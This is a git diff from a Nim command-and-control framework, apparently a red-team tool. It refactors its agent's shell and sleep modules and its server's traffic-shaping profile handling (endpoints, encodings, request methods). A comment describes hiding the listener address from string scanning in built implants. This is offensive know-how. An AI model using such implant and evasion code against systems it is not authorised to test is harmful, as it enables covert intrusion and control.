../agent/protocol/result import osproc, strutils, strformat - proc executeShell(config: AgentConfig, task: Task): TaskResult = + proc executeShell(ctx: AgentCtx, task: Task): TaskResult = try: var command: string diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index e217cde..b41e8e4 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -1,14 +1,14 @@ import ../common/[types, utils] # Define function prototype -proc executeSleep(config: AgentConfig, task: Task): TaskResult +proc executeSleep(ctx: AgentCtx, task: Task): TaskResult # Command definition (as seq[Command]) let commands* = @[ Command( name: "sleep", commandType: CMD_SLEEP, - description: "Update sleep delay configuration.", + description: "Update sleep delay ctxuration.", example: "sleep 5", arguments: @[ Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true) @@ -19,14 +19,14 @@ let commands* = @[ # Implement execution functions when defined(server): - proc executeSleep(config: AgentConfig, task: Task): TaskResult = nil + proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): import os, strutils, strformat - import ../agent/core/taskresult + import ../agent/protocol/result - proc executeSleep(config: AgentConfig, task: Task): TaskResult = + proc executeSleep(ctx: AgentCtx, task: Task): TaskResult = try: # Parse task parameter @@ -36,8 +36,8 @@ when defined(agent): sleep(delay * 1000) - # Updating sleep in agent config - config.sleep = delay + # Updating sleep in agent context + ctx.sleep = delay return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 59886f3..2c33d9e 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -19,9 +19,8 @@ proc httpGet*(ctx: Context) {.async.} = # Check heartbeat metadata placement var heartbeat: seq[byte] var heartbeatString: string - let heartbeatPlacement = cq.profile.getString("http-get.agent.heartbeat.placement.type") - case heartbeatPlacement: + case cq.profile.getString("http-get.agent.heartbeat.placement.type"): of "header": let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name") if not ctx.request.hasHeader(heartbeatHeader): @@ -39,14 +38,12 @@ proc httpGet*(ctx: Context) {.async.} = else: discard # Retrieve and apply data transformation to get raw heartbeat packet - let - encoding = cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none") - prefix = cq.profile.getString("http-get.agent.heartbeat.prefix") - suffix = cq.profile.getString("http-get.agent.heartbeat.suffix") + let prefix = cq.profile.getString("http-get.agent.heartbeat.prefix") + let suffix = cq.profile.getString("http-get.agent.heartbeat.suffix") let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1] - case encoding: + case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"): of "base64": heartbeat = string.toBytes(decode(encHeartbeat)) of "none": @@ -70,18 +67,17 @@ proc httpGet*(ctx: Context) {.async.} = # Apply data transformation to the response var response: string - let - encoding = cq.profile.getString("http-get.server.output.encoding.type", default = "none") - prefix = cq.profile.getString("http-get.server.output.prefix") - suffix = cq.profile.getString("http-get.server.output.suffix") - case encoding: + case cq.profile.getString("http-get.server.output.encoding.type", default = "none"): of "none": response = Bytes.toString(responseBytes) of "base64": response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe")) else: discard + let prefix = cq.profile.getString("http-get.server.output.prefix") + let suffix = cq.profile.getString("http-get.server.output.suffix") + # Add headers, as defined in the team server profile for header, value in cq.profile.getTable("http-get.server.headers"): ctx.response.setHeader(header, value.getStr()) diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim index 0a92ad6..26c128b 100644 --- a/src/server/core/agent.nim +++ b/src/server/core/agent.nim @@ -1,4 +1,4 @@ -import terminal, strformat, strutils, tables, times, system, osproc, streams, base64 +import terminal, strformat, strutils, tables, times, system, osproc, streams, base64, parsetoml import ./task import ../utils @@ -135,13 +135,14 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = let listener = cq.listeners[listener.toUpperAscii] # Create/overwrite nim.cfg file to set agent configuration - let agentConfigFile = fmt"../src/agent/nim.cfg" + let AgentCtxFile = fmt"../src/agent/nim.cfg" # Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command let (first, second, third, fourth) = parseOctets(listener.address) # Covert the servers's public X25519 key to as base64 string let publicKey = encode(cq.keyPair.publicKey) + let profileString = encode(cq.profile.toTomlString()) # The following shows the format of the agent configuration file that defines compile-time variables let config = fmt""" @@ -154,8 +155,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) = -d:ListenerPort={listener.port} -d:SleepDelay={sleep} -d:ServerPublicKey="{publicKey}" + -d:ProfileString="{profileString}" """.replace(" ", "") - writeFile(agentConfigFile, config) + writeFile(AgentCtxFile, config) cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.") diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index 02616a0..e305d0f 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -6,7 +6,7 @@ import sugar import ../utils import ../api/routes import ../db/database -import ../../common/[types, utils] +import ../../common/[types, utils, profile] # Utility functions proc delListener(cq: Conquest, listenerName: string) = @@ -60,13 +60,21 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = # Define API endpoints based on C2 profile # GET requests - for endpoint in cq.profile["http-get"]["endpoints"].getElems(): - listener.get(endpoint.getStr(), routes.httpGet) + for endpoint in cq.profile.getArray("http-get.endpoints"): + listener.addRoute(endpoint.getStr(), routes.httpGet) # POST requests - for endpoint in cq.profile["http-post"]["endpoints"].getElems(): - listener.post(endpoint.getStr(), routes.httpPost) - + var postMethods: seq[HttpMethod] + for reqMethod in cq.profile.getArray("http-post.request-methods"): + postMethods.add(parseEnum[HttpMethod](reqMethod.getStr())) + + # Default method is POST + if postMethods.len == 0: + postMethods = @[HttpPost] + + for endpoint in cq.profile.getArray("http-post.endpoints"): + listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods) + listener.registerErrorHandler(Http404, routes.error404) # Store listener in database @@ -104,12 +112,20 @@ proc restartListeners*(cq: Conquest) = # Define API endpoints based on C2 profile # TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts # GET requests - for endpoint in cq.profile["http-get"]["endpoints"].getElems(): + for endpoint in cq.profile.getArray("http-get.endpoints"): listener.get(endpoint.getStr(), routes.httpGet) # POST requests - for endpoint in cq.profile["http-post"]["endpoints"].getElems(): - listener.post(endpoint.getStr(), routes.httpPost) + var postMethods: seq[HttpMethod] + for reqMethod in cq.profile.getArray("http-post.request-methods"): + postMethods.add(parseEnum[HttpMethod](reqMethod.getStr())) + + # Default method is POST + if postMethods.len == 0: + postMethods = @[HttpPost] + + for endpoint in cq.profile.getArray("http-post.endpoints"): + listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods) listener.registerErrorHandler(Http404, routes.error404) diff --git a/src/server/core/server.nim b/src/server/core/server.nim index 406416b..5bdb668 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables import ./[agent, listener] import ../[globals, utils] import ../db/database -import ../../common/[types, utils, crypto] +import ../../common/[types, utils, crypto, profile] #[ Argument parsing @@ -135,8 +135,8 @@ proc init*(T: type Conquest, profile: Profile): Conquest = cq.agents = initTable[string, Agent]() cq.interactAgent = nil - cq.keyPair = loadKeyPair(profile["private_key_file"].getStr()) - cq.dbPath = profile["database_file"].getStr() + cq.keyPair = loadKeyPair(profile.getString("private_key_file")) + cq.dbPath = profile.getString("database_file") cq.profile = profile return cq